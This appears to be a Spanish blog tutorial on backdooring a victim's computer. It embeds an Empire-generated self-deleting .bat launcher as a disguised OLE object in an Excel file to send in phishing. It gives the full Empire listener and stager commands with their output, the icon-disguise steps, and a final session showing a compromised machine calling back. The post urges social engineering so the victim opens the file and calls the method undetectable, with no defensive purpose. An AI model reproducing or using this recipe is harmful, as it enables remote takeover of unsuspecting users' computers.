Owneando vía OLE

La definicion que nos da nuestra amiga Wikipedia sobre OLE es: "Object Linking and Embedding (OLE), cuya traducción literal es "incrustación y enlazado de objetos", es el nombre de un sistema de objetos distribuido y un protocolo desarrollado por Microsoft.
OLE permite a un editor encargar a otro la elaboración de parte de un documento y posteriormente volverlo a importar. Por ejemplo, un sistema de publicación de escritorio puede enviar un poco de texto a un procesador de textos o una imagen a un editor de bitmap usando OLE. La ventaja principal de usar OLE, además de que el tamaño del archivo es menor, es la de poder crear un archivo principal. Se puede hacer una referencia a los datos de ese archivo, con lo que todo cambio posterior en el archivo principal se reflejará en el documento referenciado."

Pues como nos cuenta Wikipedia, OLE es una incrustación y enlazado de objetos que se encuentra en el paquete de Microsoft Office, ¿y qué podremos hacer con esto?. Algo bastante sencillo pero que puede poner en apuros a la persona que deseemos atacar, o si pretendemos hacer una campaña de phishing, un metodo de conseguir crear un backdoor en la maquina víctima gracias a un archivo .bat incrustado como objeto en un archivo Excel siendo totalmente indetectable, ahora sí, la eficiencia del ataque dependerá de nuestra maña usando ingeniera social para "engañar" a nuestra víctima.

Para esto, usaremos la tool Empire para obtener el backdoor en batch y generar un listener. Como es de sentido común, necesitaremos tener Microsoft Office para incrustar el batch en el excel; y por supuesto, la victima deberá tener también instalado Microsoft Office.

Lo primero que haremos será arrancar en una terminal nuestro Empire (instalado previamente) con ./empire , al iniciar la herramienta, lo que haremos, será ejecutar un listener. (Para editar cada parámetro solo hará falta escribir: set <parámetro> (IP, port...)).

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       180 modules currently loaded

       0 listeners currently active

       0 agents currently active


(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) > options

Listener Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        test                             Listener name.
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  StagingKey        True        3013c58c1fb849cce0b07bda33a07a1c Staging key for initial agent negotiation.
  Type              True        native                           Listener type (native, pivot, hop, foreign, meter).
  RedirectTarget    False                                        Listener target to redirect to for pivot/hop.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  Host              True        http://192.168.1.139:8080        Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultProfile    True        /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
                                process.jsp|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Port              True        8080                             Port for the listener.


(Empire: listeners) > execute
[*] Listener 'test' successfully started.  

A continuación lo que haremos será crear el backdoor y para crearlo deberemos usar el comando: usestager launcher_bat <nombre del listener>.


   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       180 modules currently loaded

       1 listeners currently active

       0 agents currently active


(Empire) > usestager launcher_bat test
(Empire: stager/launcher_bat) > info

Name: BAT Launcher

Description:
  Generates a self-deleting .bat launcher for
  Empire.

Options:

  Name             Required    Value             Description
  ----             --------    -------           -----------
  ProxyCreds       False       default           Proxy credentials
                                                 ([domain\]username:password) to use for
                                                 request (default, none, or other).
  StagerRetries    False       0                 Times for the stager to retry
                                                 connecting.
  Listener         True        test              Listener to generate stager for.
  OutFile          False       /tmp/launcher.bat File to output .bat launcher to,
                                                 otherwise displayed on the screen.
  Proxy            False       default           Proxy to use for request (default, none,
                                                 or other).
  UserAgent        False       default           User-agent string to use for the staging
                                                 request (default, none, or other).
  Delete           False       True              Switch. Delete .bat after running.


(Empire: stager/launcher_bat) > execute

[*] Stager output written out to: /tmp/launcher.bat



Ahora que ya tenemos el backdoor en .bat, nos iremos a nuestro excel que deberá actuar como anzuelo. En él deberemos ir a Insertar y daremos a la pestaña de Objeto.


Dentro del panel de Objeto, nos iremos a la pestaña Crear de un archivo, en él, seleccionaremos nuestro backdoor en .bat, marcaremos la casilla Mostrar como icono y en Cambiar icono podremos cambiar el titulo de la casilla y el icono.


Y ya tendremos nuestro backdoor incrustado en nuestro excel, lo unico que necesitaríamos sería que la víctima hiciese doble click sobre el icono...
En el caso de que la víctima hiciese doble click, el backdoor se ejecutaría y conectaría con el listener de Empire.

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       180 modules currently loaded

       1 listeners currently active

       1 agents currently active


(Empire) > agents

[*] Active agents:

  Name               Internal IP     Machine Name    Username            Process             Delay    Last Seen
  ---------          -----------     ------------    ---------           -------             -----    --------------------
  ESBU4U41XX2TECSC   192.168.1.129 feALEJANDRO-PC    ALEJANDRO-PC\Alejandpowershell/7048     5/0.0    2017-03-29 03:12:44



Después de esto, ya tendriamos el control de la máquina backdorizada.

Por último recordar que en este tipo de ataque es muy importante "intentar convencer" mediante ingeniería social a la víctima para que abra el backdoor, para esto deberemos modificar nuestro excel y adecentarlo para que la víctima no genere sospechas.

Comentarios